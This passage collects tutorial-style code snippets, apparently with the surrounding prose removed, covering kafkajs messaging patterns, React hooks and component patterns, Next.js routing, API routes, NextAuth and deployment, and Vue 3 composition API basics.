  await producer.send({
    topic: 'user-events',
    messages: [
      {
        key: 'user:123',
        value: JSON.stringify({
          userId: 123,
          action: 'login',
          timestamp: Date.now()
        })
      }
    ]
  });

  // Send multiple messages
  await producer.sendBatch({
    topicMessages: [
      {
        topic: 'user-events',
        messages: [
          { key: 'user:123', value: JSON.stringify({ action: 'login' }) },
          { key: 'user:124', value: JSON.stringify({ action: 'logout' }) }
        ]
      }
    ]
  });

  await producer.disconnect();
}

sendMessage().catch(console.error);

const { Kafka } = require('kafkajs');

const kafka = new Kafka({
  clientId: 'my-app',
  brokers: ['localhost:9092']
});

const consumer = kafka.consumer({
  groupId: 'my-consumer-group'
});

async function consume() {
  await consumer.connect();

  await consumer.subscribe({
    topic: 'user-events',
    fromBeginning: true
  });

  await consumer.run({
    eachMessage: async ({ topic, partition, message }) => {
      console.log({
        topic,
        partition,
        offset: message.offset,
        key: message.key?.toString(),
        value: message.value.toString()
      });

      // Process message
      const event = JSON.parse(message.value.toString());
      await processEvent(event);
    }
  });
}

async function processEvent(event) {
  console.log('Processing:', event);
  // Your business logic here
}

consume().catch(console.error);

await consumer.run({
  eachBatch: async ({
    batch,
    resolveOffset,
    heartbeat,
    isRunning,
    isStale
  }) => {
    const messages = batch.messages;

    for (let message of messages) {
      if (!isRunning() || isStale()) break;

      await processMessage(message);

      // Commit offset for this message
      resolveOffset(message.offset);

      // Send heartbeat to keep consumer alive
      await heartbeat();
    }
  }
});

const consumer = kafka.consumer({
  groupId: 'my-group',
  retry: {
    retries: 8,
    initialRetryTime: 100,
    multiplier: 2
  }
});

consumer.on('consumer.crash', async (event) => {
  console.error('Consumer crashed:', event);
  // Implement restart logic
});

await consumer.run({
  eachMessage: async ({ topic, partition, message }) => {
    try {
      await processMessage(message);
    } catch (error) {
      console.error('Processing error:', error);

      // Dead letter queue
      await producer.send({
        topic: 'dead-letter-queue',
        messages: [{
          key: message.key,
          value: message.value,
          headers: {
            originalTopic: topic,
            error: error.message
          }
        }]
      });
    }
  }
});

const express = require('express');
const { Kafka } = require('kafkajs');

const app = express();
app.use(express.json());

const kafka = new Kafka({
  clientId: 'api-server',
  brokers: ['localhost:9092']
});

const producer = kafka.producer();

// Connect producer on startup
producer.connect();

// API endpoint to publish events
app.post('/api/events', async (req, res) => {
  try {
    const { userId, action, data } = req.body;

    await producer.send({
      topic: 'user-events',
      messages: [{
        key: `user:${userId}`,
        value: JSON.stringify({
          userId,
          action,
          data,
          timestamp: Date.now()
        })
      }]
    });

    res.json({ success: true, message: 'Event published' });
  } catch (error) {
    res.status(500).json({ error: error.message });
  }
});

// Graceful shutdown
process.on('SIGTERM', async () => {
  await producer.disconnect();
  process.exit(0);
});

app.listen(3000);

// order-service/producer.js
const { Kafka } = require('kafkajs');

const kafka = new Kafka({
  clientId: 'order-service',
  brokers: ['localhost:9092']
});

const producer = kafka.producer();

async function createOrder(orderData) {
  await producer.connect();

  // Publish order created event
  await producer.send({
    topic: 'order.created',
    messages: [{
      key: `order:${orderData.id}`,
      value: JSON.stringify(orderData)
    }]
  });

  console.log('Order created event published');
}

// inventory-service/consumer.js
const { Kafka } = require('kafkajs');

const kafka = new Kafka({
  clientId: 'inventory-service',
  brokers: ['localhost:9092']
});

const consumer = kafka.consumer({
  groupId: 'inventory-service-group'
});

async function start() {
  await consumer.connect();
  await consumer.subscribe({ topic: 'order.created' });

  await consumer.run({
    eachMessage: async ({ message }) => {
      const order = JSON.parse(message.value.toString());

      console.log('Processing order:', order.id);

      // Update inventory
      await updateInventory(order.items);

      // Publish inventory updated event
      await producer.send({
        topic: 'inventory.updated',
        messages: [{
          key: `order:${order.id}`,
          value: JSON.stringify({
            orderId: order.id,
            status: 'inventory_reserved'
          })
        }]
      });
    }
  });
}

start().catch(console.error);

// Include metadata
{
  id: 'uuid',
  type: 'order.created',
  timestamp: 1234567890,
  version: '1.0',
  data: {
    orderId: 123,
    userId: 456,
    items: [...]
  }
}

// Use schema registry for validation
// Use Avro or Protobuf for efficient serialization

// Implement retry logic
async function processWithRetry(message, maxRetries = 3) {
  for (let attempt = 1; attempt <= maxRetries; attempt++) {
    try {
      await processMessage(message);
      return;
    } catch (error) {
      if (attempt === maxRetries) {
        // Send to dead letter queue
        await sendToDeadLetterQueue(message, error);
      } else {
        await sleep(Math.pow(2, attempt) * 1000); // Exponential backoff
      }
    }
  }
}

// Use consumer groups for scalability
// Same group = load balancing
// Different groups = broadcast
const consumer = kafka.consumer({
  groupId: 'order-processing-group'
});

// Ensure idempotent message processing
async function processMessage(message) {
  const messageId = message.headers.messageId;

  // Check if already processed
  const processed = await redis.get(`processed:${messageId}`);

  if (processed) {
    console.log('Message already processed');
    return;
  }

  // Process message
  await doWork(message);

  // Mark as processed
  await redis.set(`processed:${messageId}`, '1', 'EX', 86400);
}

const producer = kafka.producer({
  // Enable metrics
  metricReporters: [
    {
      name: 'my-metrics',
      interval: 5000,
      async report(event) {
        console.log('Metrics:', event);
      }
    }
  ]
});

// Monitor lag
await admin.fetchOffsets({
  groupId: 'my-group',
  topics: ['my-topic']
});

// Multiple brokers for redundancy
const kafka = new Kafka({
  clientId: 'my-app',
  brokers: [
    'kafka1:9092',
    'kafka2:9092',
    'kafka3:9092'
  ],
  retry: {
    retries: 10,
    initialRetryTime: 300,
    multiplier: 2
  }
});

// Replication factor for topics
await admin.createTopics({
  topics: [{
    topic: 'critical-events',
    numPartitions: 6,
    replicationFactor: 3  // Data replicated on 3 brokers
  }]
});

// Producer optimization
const producer = kafka.producer({
  idempotent: true,          // Exactly-once semantics
  maxInFlightRequests: 5,
  compression: CompressionTypes.GZIP,
  batch: {
    size: 16384,
    lingerMs: 10
  }
});

// Consumer optimization
const consumer = kafka.consumer({
  groupId: 'my-group',
  sessionTimeout: 30000,
  heartbeatInterval: 3000,
  maxBytesPerPartition: 1048576,
  maxWaitTimeInMs: 5000
});

const kafka = new Kafka({
  clientId: 'secure-app',
  brokers: ['kafka:9093'],
  ssl: true,
  sasl: {
    mechanism: 'plain',
    username: 'my-username',
    password: 'my-password'
  }
});

function Welcome({ name }) {
  return <h1>Hello, {name}!</h1>;
}

// Arrow function
const Greeting = ({ message }) => <p>{message}</p>;

class Welcome extends React.Component {
  render() {
    return <h1>Hello, {this.props.name}!</h1>;
  }
}

import { useState, useEffect } from 'react';

function Counter() {
  const [count, setCount] = useState(0);

  useEffect(() => {
    console.log('Count changed:', count);
    // Cleanup
    return () => console.log('Cleanup');
  }, [count]); // Dependencies

  return (
    <div>
      <p>Count: {count}</p>
      <button onClick={() => setCount(count + 1)}>Increment</button>
    </div>
  );
}

function TextInput() {
  const inputRef = useRef(null);

  const focusInput = () => {
    inputRef.current.focus();
  };

  return (
    <>
      <input ref={inputRef} />
      <button onClick={focusInput}>Focus Input</button>
    </>
  );
}

const initialState = { count: 0 };

function reducer(state, action) {
  switch (action.type) {
    case 'increment':
      return { count: state.count + 1 };
    case 'decrement':
      return { count: state.count - 1 };
    case 'reset':
      return initialState;
    default:
      throw new Error('Unknown action');
  }
}

function Counter() {
  const [state, dispatch] = useReducer(reducer, initialState);

  return (
    <>
      <p>Count: {state.count}</p>
      <button onClick={() => dispatch({ type: 'increment' })}>+</button>
      <button onClick={() => dispatch({ type: 'decrement' })}>-</button>
      <button onClick={() => dispatch({ type: 'reset' })}>Reset</button>
    </>
  );
}

// Custom hook for fetching data
function useFetch(url) {
  const [data, setData] = useState(null);
  const [loading, setLoading] = useState(true);
  const [error, setError] = useState(null);

  useEffect(() => {
    const fetchData = async () => {
      try {
        const response = await fetch(url);
        const json = await response.json();
        setData(json);
      } catch (err) {
        setError(err);
      } finally {
        setLoading(false);
      }
    };

    fetchData();
  }, [url]);

  return { data, loading, error };
}

// Usage
function UserProfile({ userId }) {
  const { data, loading, error } = useFetch(`/api/users/${userId}`);

  if (loading) return <Spinner />;
  if (error) return <Error message={error.message} />;
  return <div>{data.name}</div>;
}

// Parent
<Child name="John" age={30} onClick={handleClick} />

// Child
function Child({ name, age, onClick }) {
  return (
    <div onClick={onClick}>
      {name} is {age}
    </div>
  );
}

{isLoggedIn && <Dashboard />}
{user ? <UserProfile /> : <LoginForm />}

{status === 'loading' && <Spinner />}
{status === 'error' && <Error />}
{status === 'success' && <Data />}

const users = [
  { id: 1, name: 'John' },
  { id: 2, name: 'Jane' }
];

<ul>
  {users.map(user => (
    <li key={user.id}>{user.name}</li>
  ))}
</ul>

function Button() {
  const handleClick = (e) => {
    console.log('Clicked');
  };

  const handleChange = (e) => {
    const value = e.target.value;
  };

  return (
    <>
      <button onClick={handleClick}>Click</button>
      <input onChange={handleChange} />
    </>
  );
}

function LoginForm() {
  const [email, setEmail] = useState('');
  const [password, setPassword] = useState('');

  const handleSubmit = (e) => {
    e.preventDefault();
    console.log(email, password);
  };

  return (
    <form onSubmit={handleSubmit}>
      <input
        type="email"
        value={email}
        onChange={(e) => setEmail(e.target.value)}
      />
      <input
        type="password"
        value={password}
        onChange={(e) => setPassword(e.target.value)}
      />
      <button type="submit">Login</button>
    </form>
  );
}

const [state, setState] = useState(initialValue);

const UserContext = createContext();

function App() {
  return (
    <UserContext.Provider value={{ user: 'John' }}>
      <Child />
    </UserContext.Provider>
  );
}

function Child() {
  const { user } = useContext(UserContext);
}

componentDidMount() { } // After render
componentDidUpdate() { } // After update
componentWillUnmount() { } // Before remove

const ExpensiveComponent = React.memo(({ data }) => {
  // Only re-renders if 'data' prop changes
  return <div>{/* expensive rendering */}</div>;
});

function Parent() {
  const [count, setCount] = useState(0);
  const [items, setItems] = useState([]);

  // Memoize callback to prevent child re-renders
  const handleClick = useCallback(() => {
    console.log('Clicked');
  }, []); // Dependencies

  // Memoize expensive computation
  const expensiveValue = useMemo(() => {
    return items.reduce((sum, item) => sum + item.value, 0);
  }, [items]);

  return <Child onClick={handleClick} total={expensiveValue} />;
}

import { lazy, Suspense } from 'react';

// Lazy load component
const Dashboard = lazy(() => import('./Dashboard'));
const Profile = lazy(() => import('./Profile'));

function App() {
  return (
    <Suspense fallback={<div>Loading...</div>}>
      <Dashboard />
    </Suspense>
  );
}

// Using react-window or react-virtualized
import { FixedSizeList } from 'react-window';

function VirtualList({ items }) {
  const Row = ({ index, style }) => (
    <div style={style}>{items[index].name}</div>
  );

  return (
    <FixedSizeList
      height={400}
      itemCount={items.length}
      itemSize={35}
      width="100%"
    >
      {Row}
    </FixedSizeList>
  );
}

class ErrorBoundary extends React.Component {
  constructor(props) {
    super(props);
    this.state = { hasError: false, error: null };
  }

  static getDerivedStateFromError(error) {
    return { hasError: true, error };
  }

  componentDidCatch(error, errorInfo) {
    console.error('Error:', error, errorInfo);
    // Log to error reporting service
  }

  render() {
    if (this.state.hasError) {
      return (
        <div>
          <h1>Something went wrong.</h1>
          <details>{this.state.error.toString()}</details>
        </div>
      );
    }

    return this.props.children;
  }
}

// Usage
<ErrorBoundary>
  <App />
</ErrorBoundary>

// Function component with props
interface ButtonProps {
  label: string;
  onClick: () => void;
  disabled?: boolean;
}

const Button: React.FC<ButtonProps> = ({ label, onClick, disabled = false }) => {
  return <button onClick={onClick} disabled={disabled}>{label}</button>;
};

// Or without React.FC (preferred)
function Button({ label, onClick, disabled = false }: ButtonProps) {
  return <button onClick={onClick} disabled={disabled}>{label}</button>;
}

// useState with type
const [count, setCount] = useState<number>(0);
const [user, setUser] = useState<User | null>(null);

// useRef with type
const inputRef = useRef<HTMLInputElement>(null);

// Custom hook with types
function useFetch<T>(url: string): {
  data: T | null;
  loading: boolean;
  error: Error | null;
} {
  const [data, setData] = useState<T | null>(null);
  const [loading, setLoading] = useState(true);
  const [error, setError] = useState<Error | null>(null);

  useEffect(() => {
    fetch(url)
      .then(res => res.json())
      .then((data: T) => setData(data))
      .catch(setError)
      .finally(() => setLoading(false));
  }, [url]);

  return { data, loading, error };
}

function Input() {
  const handleChange = (e: React.ChangeEvent<HTMLInputElement>) => {
    console.log(e.target.value);
  };

  const handleClick = (e: React.MouseEvent<HTMLButtonElement>) => {
    e.preventDefault();
  };

  const handleSubmit = (e: React.FormEvent<HTMLFormElement>) => {
    e.preventDefault();
  };

  return (
    <form onSubmit={handleSubmit}>
      <input onChange={handleChange} />
      <button onClick={handleClick}>Submit</button>
    </form>
  );
}

import { BrowserRouter, Routes, Route, Link, useParams, useNavigate } from 'react-router-dom';

function App() {
  return (
    <BrowserRouter>
      <nav>
        <Link to="/">Home</Link>
        <Link to="/about">About</Link>
        <Link to="/users/123">User 123</Link>
      </nav>

      <Routes>
        <Route path="/" element={<Home />} />
        <Route path="/about" element={<About />} />
        <Route path="/users/:id" element={<User />} />
        <Route path="*" element={<NotFound />} />
      </Routes>
    </BrowserRouter>
  );
}

// Access URL parameters
function User() {
  const { id } = useParams();
  const navigate = useNavigate();

  return (
    <div>
      <h1>User {id}</h1>
      <button onClick={() => navigate('/about')}>Go to About</button>
    </div>
  );
}

import { useTransition } from 'react';

function SearchResults() {
  const [query, setQuery] = useState('');
  const [results, setResults] = useState([]);
  const [isPending, startTransition] = useTransition();

  const handleChange = (e) => {
    setQuery(e.target.value);

    // Mark this update as non-urgent
    startTransition(() => {
      setResults(filterResults(e.target.value));
    });
  };

  return (
    <>
      <input value={query} onChange={handleChange} />
      {isPending ? <Spinner /> : <ResultsList results={results} />}
    </>
  );
}

import { Suspense } from 'react';

function App() {
  return (
    <Suspense fallback={<LoadingSpinner />}>
      <UserProfile />
    </Suspense>
  );
}

// Component that suspends while loading
function UserProfile() {
  const user = use(fetchUser()); // Suspends until data loads
  return <div>{user.name}</div>;
}

import { render, screen, fireEvent, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';

test('counter increments', () => {
  render(<Counter />);

  const button = screen.getByRole('button', { name: /increment/i });
  const count = screen.getByText(/count: 0/i);

  fireEvent.click(button);

  expect(screen.getByText(/count: 1/i)).toBeInTheDocument();
});

test('fetches and displays user', async () => {
  render(<UserProfile userId={1} />);

  expect(screen.getByText(/loading/i)).toBeInTheDocument();

  await waitFor(() => {
    expect(screen.getByText(/john doe/i)).toBeInTheDocument();
  });
});

import { render } from '@testing-library/react';

test('renders with props', () => {
  const { container } = render(
    <Button label="Click me" onClick={jest.fn()} />
  );

  expect(container.firstChild).toMatchSnapshot();
});

function DataProvider({ render }) {
  const [data, setData] = useState(null);

  useEffect(() => {
    fetchData().then(setData);
  }, []);

  return render(data);
}

// Usage
<DataProvider render={(data) => <div>{data}</div>} />

function withAuth(Component) {
  return function AuthenticatedComponent(props) {
    const { user } = useAuth();

    if (!user) {
      return <Login />;
    }

    return <Component {...props} user={user} />;
  };
}

// Usage
const ProtectedPage = withAuth(Dashboard);

function Tabs({ children }) {
  const [activeTab, setActiveTab] = useState(0);

  return (
    <TabsContext.Provider value={{ activeTab, setActiveTab }}>
      <div>{children}</div>
    </TabsContext.Provider>
  );
}

Tabs.List = function TabsList({ children }) {
  return <div role="tablist">{children}</div>;
};

Tabs.Tab = function Tab({ index, children }) {
  const { activeTab, setActiveTab } = useContext(TabsContext);
  return (
    <button onClick={() => setActiveTab(index)}>
      {children}
    </button>
  );
};

Tabs.Panel = function TabPanel({ index, children }) {
  const { activeTab } = useContext(TabsContext);
  return activeTab === index ? <div>{children}</div> : null;
};

// Usage
<Tabs>
  <Tabs.List>
    <Tabs.Tab index={0}>Tab 1</Tabs.Tab>
    <Tabs.Tab index={1}>Tab 2</Tabs.Tab>
  </Tabs.List>
  <Tabs.Panel index={0}>Content 1</Tabs.Panel>
  <Tabs.Panel index={1}>Content 2</Tabs.Panel>
</Tabs>

import { createPortal } from 'react-dom';

function Modal({ children, isOpen }) {
  if (!isOpen) return null;

  return createPortal(
    <div className="modal-overlay">
      <div className="modal-content">
        {children}
      </div>
    </div>,
    document.getElementById('modal-root')
  );
}

import { forwardRef, useImperativeHandle, useRef } from 'react';

// Forward ref to child
const FancyInput = forwardRef((props, ref) => {
  return <input ref={ref} {...props} />;
});

// Usage
function Parent() {
  const inputRef = useRef();

  const focusInput = () => {
    inputRef.current.focus();
  };

  return <FancyInput ref={inputRef} />;
}

// Expose specific methods
const CustomInput = forwardRef((props, ref) => {
  const inputRef = useRef();

  useImperativeHandle(ref, () => ({
    focus: () => inputRef.current.focus(),
    clear: () => inputRef.current.value = ''
  }));

  return <input ref={inputRef} />;
});

# Create Next.js app
npx create-next-app@latest my-next-app
cd my-next-app

# Or with TypeScript
npx create-next-app@latest my-next-app --typescript

# Start development server
npm run dev

my-next-app/
├── app/                    # App directory (Next.js 13+)
│   ├── layout.tsx         # Root layout
│   ├── page.tsx           # Home page
│   ├── api/               # API routes
│   └── [folder]/          # Routes
├── public/                # Static files
├── components/            # React components
├── lib/                   # Utility functions
├── styles/               # CSS files
├── next.config.js        # Next.js configuration
├── package.json
└── tsconfig.json         # TypeScript configuration

/** @type {import('next').NextConfig} */
const nextConfig = {
  reactStrictMode: true,
  images: {
    domains: ['example.com', 'cdn.example.com'],
  },
  env: {
    CUSTOM_KEY: process.env.CUSTOM_KEY,
  },
  async rewrites() {
    return [
      {
        source: '/api/:path*',
        destination: 'https://api.example.com/:path*',
      },
    ]
  },
}

module.exports = nextConfig

app/
├── page.tsx              # / route
├── about/
│   └── page.tsx         # /about route
├── blog/
│   ├── page.tsx         # /blog route
│   └── [slug]/
│       └── page.tsx     # /blog/[slug] route
└── dashboard/
    ├── layout.tsx       # Dashboard layout
    ├── page.tsx         # /dashboard route
    └── settings/
        └── page.tsx     # /dashboard/settings route

import Link from 'next/link'

export default function Home() {
  return (
    <main>
      <h1>Welcome to Next.js</h1>
      <Link href="/about">About</Link>
      <Link href="/blog">Blog</Link>
    </main>
  )
}

export default function About() {
  return (
    <div>
      <h1>About Us</h1>
      <p>This is the about page</p>
    </div>
  )
}

import type { Metadata } from 'next'
import { Inter } from 'next/font/google'
import './globals.css'

const inter = Inter({ subsets: ['latin'] })

export const metadata: Metadata = {
  title: 'My Next.js App',
  description: 'Built with Next.js',
}

export default function RootLayout({
  children,
}: {
  children: React.ReactNode
}) {
  return (
    <html lang="en">
      <body className={inter.className}>
        <nav>
          <a href="/">Home</a>
          <a href="/about">About</a>
          <a href="/blog">Blog</a>
        </nav>
        {children}
        <footer>© 2024 My App</footer>
      </body>
    </html>
  )
}

export default function DashboardLayout({
  children,
}: {
  children: React.ReactNode
}) {
  return (
    <div className="dashboard">
      <aside>
        <nav>
          <a href="/dashboard">Overview</a>
          <a href="/dashboard/settings">Settings</a>
          <a href="/dashboard/profile">Profile</a>
        </nav>
      </aside>
      <main>{children}</main>
    </div>
  )
}

export default function Loading() {
  return <div>Loading...</div>
}

'use client'

export default function Error({
  error,
  reset,
}: {
  error: Error & { digest?: string }
  reset: () => void
}) {
  return (
    <div>
      <h2>Something went wrong!</h2>
      <p>{error.message}</p>
      <button onClick={reset}>Try again</button>
    </div>
  )
}

async function getData() {
  const res = await fetch('https://api.example.com/data', {
    cache: 'no-store', // or 'force-cache'
  })

  if (!res.ok) {
    throw new Error('Failed to fetch data')
  }

  return res.json()
}

export default async function Page() {
  const data = await getData()

  return (
    <div>
      <h1>Data from API</h1>
      <pre>{JSON.stringify(data, null, 2)}</pre>
    </div>
  )
}

async function getStaticData() {
  const res = await fetch('https://api.example.com/posts')
  return res.json()
}

export default async function BlogPage() {
  const posts = await getStaticData()

  return (
    <div>
      {posts.map((post: any) => (
        <article key={post.id}>
          <h2>{post.title}</h2>
          <p>{post.excerpt}</p>
        </article>
      ))}
    </div>
  )
}

// Revalidate every hour
export const revalidate = 3600

async function getPost(slug: string) {
  const res = await fetch(`https://api.example.com/posts/${slug}`)
  return res.json()
}

export default async function Post({ params }: { params: { slug: string } }) {
  const post = await getPost(params.slug)

  return (
    <article>
      <h1>{post.title}</h1>
      <div dangerouslySetInnerHTML={{ __html: post.content }} />
    </article>
  )
}

// Generate static params for dynamic routes
export async function generateStaticParams() {
  const posts = await fetch('https://api.example.com/posts').then((res) =>
    res.json()
  )

  return posts.map((post: any) => ({
    slug: post.slug,
  }))
}

'use client'

import { useState, useEffect } from 'react'

export default function ClientComponent() {
  const [data, setData] = useState(null)
  const [loading, setLoading] = useState(true)

  useEffect(() => {
    fetch('/api/data')
      .then((res) => res.json())
      .then((data) => {
        setData(data)
        setLoading(false)
      })
  }, [])

  if (loading) return <div>Loading...</div>

  return <div>{JSON.stringify(data)}</div>
}

import { NextResponse } from 'next/server'

export async function GET() {
  return NextResponse.json({ message: 'Hello from Next.js!' })
}

export async function POST(request: Request) {
  const body = await request.json()
  return NextResponse.json({ received: body })
}

import { NextResponse } from 'next/server'

export async function GET(
  request: Request,
  { params }: { params: { id: string } }
) {
  const id = params.id

  // Fetch user from database
  const user = await fetchUser(id)

  if (!user) {
    return NextResponse.json({ error: 'User not found' }, { status: 404 })
  }

  return NextResponse.json(user)
}

export async function PUT(
  request: Request,
  { params }: { params: { id: string } }
) {
  const id = params.id
  const body = await request.json()

  // Update user in database
  const updatedUser = await updateUser(id, body)

  return NextResponse.json(updatedUser)
}

export async function DELETE(
  request: Request,
  { params }: { params: { id: string } }
) {
  const id = params.id

  await deleteUser(id)

  return NextResponse.json({ message: 'User deleted' })
}

import { NextResponse } from 'next/server'
import { prisma } from '@/lib/prisma'

export async function GET() {
  try {
    const users = await prisma.user.findMany()
    return NextResponse.json(users)
  } catch (error) {
    return NextResponse.json(
      { error: 'Failed to fetch users' },
      { status: 500 }
    )
  }
}

export async function POST(request: Request) {
  try {
    const body = await request.json()
    const user = await prisma.user.create({
      data: body,
    })
    return NextResponse.json(user, { status: 201 })
  } catch (error) {
    return NextResponse.json(
      { error: 'Failed to create user' },
      { status: 500 }
    )
  }
}

export default function ShopPage({ params }: { params: { slug: string[] } }) {
  return (
    <div>
      <h1>Shop</h1>
      <p>Category: {params.slug.join('/')}</p>
    </div>
  )
}

// Matches:
// /shop/electronics
// /shop/electronics/laptops
// /shop/electronics/laptops/gaming

export default function DocsPage({
  params,
}: {
  params: { slug?: string[] }
}) {
  if (!params.slug) {
    return <div>Documentation Home</div>
  }

  return <div>Path: {params.slug.join('/')}</div>
}

// Matches:
// /docs
// /docs/getting-started
// /docs/api/reference

import Image from 'next/image'

export default function ImageExample() {
  return (
    <div>
      {/* Static Image */}
      <Image
        src="/hero.jpg"
        alt="Hero"
        width={1200}
        height={600}
        priority
      />

      {/* External Image */}
      <Image
        src="https://example.com/image.jpg"
        alt="External"
        width={800}
        height={600}
        quality={85}
      />

      {/* Responsive Image */}
      <Image
        src="/profile.jpg"
        alt="Profile"
        fill
        sizes="(max-width: 768px) 100vw, 50vw"
        style={{ objectFit: 'cover' }}
      />

      {/* With Placeholder */}
      <Image
        src="/photo.jpg"
        alt="Photo"
        width={600}
        height={400}
        placeholder="blur"
        blurDataURL="data:image/jpeg;base64,..."
      />
    </div>
  )
}

.button {
  padding: 12px 24px;
  background: blue;
  color: white;
  border: none;
  border-radius: 4px;
  cursor: pointer;
}

.button:hover {
  background: darkblue;
}

import styles from './Button.module.css'

export default function Button({ children }: { children: React.ReactNode }) {
  return <button className={styles.button}>{children}</button>
}

npm install -D tailwindcss postcss autoprefixer
npx tailwindcss init -p

module.exports = {
  content: [
    './app/**/*.{js,ts,jsx,tsx,mdx}',
    './components/**/*.{js,ts,jsx,tsx,mdx}',
  ],
  theme: {
    extend: {},
  },
  plugins: [],
}

@tailwind base;
@tailwind components;
@tailwind utilities;

export default function Home() {
  return (
    <div className="min-h-screen bg-gray-100">
      <h1 className="text-4xl font-bold text-blue-600">
        Hello Tailwind!
      </h1>
      <button className="px-4 py-2 bg-blue-500 text-white rounded hover:bg-blue-600">
        Click Me
      </button>
    </div>
  )
}

npm install next-auth

import NextAuth from 'next-auth'
import GoogleProvider from 'next-auth/providers/google'
import CredentialsProvider from 'next-auth/providers/credentials'

const handler = NextAuth({
  providers: [
    GoogleProvider({
      clientId: process.env.GOOGLE_CLIENT_ID!,
      clientSecret: process.env.GOOGLE_CLIENT_SECRET!,
    }),
    CredentialsProvider({
      name: 'Credentials',
      credentials: {
        email: { label: "Email", type: "email" },
        password: { label: "Password", type: "password" }
      },
      async authorize(credentials) {
        // Verify credentials
        const user = await verifyUser(credentials)

        if (user) {
          return user
        }
        return null
      }
    })
  ],
  pages: {
    signIn: '/auth/signin',
  },
  callbacks: {
    async jwt({ token, user }) {
      if (user) {
        token.id = user.id
      }
      return token
    },
    async session({ session, token }) {
      if (session.user) {
        session.user.id = token.id as string
      }
      return session
    },
  },
})

export { handler as GET, handler as POST }

'use client'

import { SessionProvider } from 'next-auth/react'

export function Providers({ children }: { children: React.ReactNode }) {
  return <SessionProvider>{children}</SessionProvider>
}

import { getServerSession } from 'next-auth'
import { redirect } from 'next/navigation'

export default async function DashboardPage() {
  const session = await getServerSession()

  if (!session) {
    redirect('/auth/signin')
  }

  return (
    <div>
      <h1>Dashboard</h1>
      <p>Welcome, {session.user?.name}</p>
    </div>
  )
}

'use client'

import { useSession, signIn, signOut } from 'next-auth/react'

export default function LoginButton() {
  const { data: session, status } = useSession()

  if (status === 'loading') {
    return <div>Loading...</div>
  }

  if (session) {
    return (
      <>
        <p>Signed in as {session.user?.email}</p>
        <button onClick={() => signOut()}>Sign out</button>
      </>
    )
  }

  return <button onClick={() => signIn()}>Sign in</button>
}

# Install Vercel CLI
npm i -g vercel

# Deploy
vercel

# Production deployment
vercel --prod

FROM node:18-alpine AS base

FROM base AS deps
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci

FROM base AS builder
WORKDIR /app
COPY --from=deps /app/node_modules ./node_modules
COPY . .
RUN npm run build

FROM base AS runner
WORKDIR /app
ENV NODE_ENV production

COPY --from=builder /app/public ./public
COPY --from=builder /app/.next/standalone ./
COPY --from=builder /app/.next/static ./.next/static

EXPOSE 3000
CMD ["node", "server.js"]

module.exports = {
  output: 'standalone',
}

DATABASE_URL="postgresql://..."
NEXTAUTH_SECRET="your-secret"
NEXTAUTH_URL="http://localhost:3000"
GOOGLE_CLIENT_ID="..."
GOOGLE_CLIENT_SECRET="..."

// Server Component (default) - Use for:
// - Data fetching
// - Direct database access
// - API calls
export default async function ServerComponent() {
  const data = await fetchData()
  return <div>{data}</div>
}

// Client Component - Use for:
// - Interactivity (onClick, onChange, etc.)
// - State management
// - Browser APIs
'use client'
export default function ClientComponent() {
  const [count, setCount] = useState(0)
  return <button onClick={() => setCount(count + 1)}>{count}</button>
}

// Static - Fetch at build time
export const revalidate = false

// ISR - Revalidate every 60 seconds
export const revalidate = 60

// Dynamic - Fetch on every request
export const dynamic = 'force-dynamic'

// Cache specific requests
fetch('https://api.example.com/data', {
  next: { revalidate: 3600 } // Revalidate every hour
})

import type { Metadata } from 'next'

export const metadata: Metadata = {
  title: 'My Page',
  description: 'Page description',
  openGraph: {
    title: 'My Page',
    description: 'Page description',
    images: ['/og-image.jpg'],
  },
  twitter: {
    card: 'summary_large_image',
  },
}

// app/error.tsx
'use client'

export default function Error({
  error,
  reset,
}: {
  error: Error
  reset: () => void
}) {
  useEffect(() => {
    console.error(error)
  }, [error])

  return (
    <div>
      <h2>Something went wrong!</h2>
      <button onClick={reset}>Try again</button>
    </div>
  )
}

// Dynamic imports
import dynamic from 'next/dynamic'

const DynamicComponent = dynamic(() => import('@/components/Heavy'), {
  loading: () => <p>Loading...</p>,
  ssr: false, // Disable SSR for this component
})

// Lazy load images
<Image
  src="/photo.jpg"
  alt="Photo"
  loading="lazy"
  width={600}
  height={400}
/>

# Create Vue 3 project
npm create vue@latest my-app
cd my-app
npm install
npm run dev

# Or via CDN
<script src="https://unpkg.com/vue@3"></script>

<!-- HelloWorld.vue -->
<template>
  <div>
    <h1>{{ message }}</h1>
    <button @click="increment">Count: {{ count }}</button>
  </div>
</template>

<script setup>
import { ref } from 'vue'

const message = ref('Hello Vue!')
const count = ref(0)

function increment() {
  count.value++
}
</script>

<style scoped>
h1 {
  color: #42b983;
}
</style>

<script setup>
import { ref, reactive, computed, watch } from 'vue'

// Refs
const count = ref(0)

// Reactive objects
const state = reactive({
  name: 'John',
  age: 30
})

// Computed properties
const doubled = computed(() => count.value * 2)

// Watchers
watch(count, (newVal, oldVal) => {
  console.log(`Count changed from ${oldVal} to ${newVal}`)
})
</script>

<!-- Child.vue -->
<script setup>
const props = defineProps({
  title: String,
  count: {
    type: Number,
    default: 0
  }
})

const emit = defineEmits(['update', 'delete'])

function handleClick() {
  emit('update', { id: 1, value: 'new' })
}
</script>

<template>
  <h2>{{ title }}</h2>
  <button @click="handleClick">Update</button>
</template>

<!-- Parent.vue -->
<Child
  title="My Component"
  :count="10"
  @update="handleUpdate"
/>

<template>
  <!-- Conditional rendering -->
  <div v-if="show">Visible</div>
  <div v-else>Hidden</div>

  <!-- List rendering -->
  <ul>
    <li v-for="item in items" :key="item.id">
      {{ item.name }}
    </li>
  </ul>

  <!-- Two-way binding -->
  <input v-model="text" />

  <!-- Event handling -->
  <button @click="handleClick">Click me</button>

  <!-- Dynamic attributes -->
  <img :src="imageUrl" :alt="description" />
</template>

<script setup>
import { onMounted, onUpdated, onUnmounted } from 'vue'

onMounted(() => {
  console.log('Component mounted')
})

onUpdated(() => {
  console.log('Component updated')
})

onUnmounted(() => {
  console.log('Component unmounted')
})
</script>

// composables/useCounter.js
import { ref, computed } from 'vue'

export function useCounter(initialValue = 0) {
  const count = ref(initialValue)
  const doubled = computed(() => count.value * 2)

  function increment() {
    count.value++
  }

  function decrement() {
    count.value--
  }

  function reset() {
    count.value = initialValue
  }

  return {
    count,
    doubled,
    increment,
    decrement,
    reset
  }
}

// Usage in component
<script setup>
import { useCounter } from './composables/useCounter'

const { count, doubled, increment, decrement, reset } = useCounter(10)
</script>

// composables/useMouse.js
import { ref, onMounted, onUnmounted } from 'vue'

export function useMouse() {
  const x = ref(0)
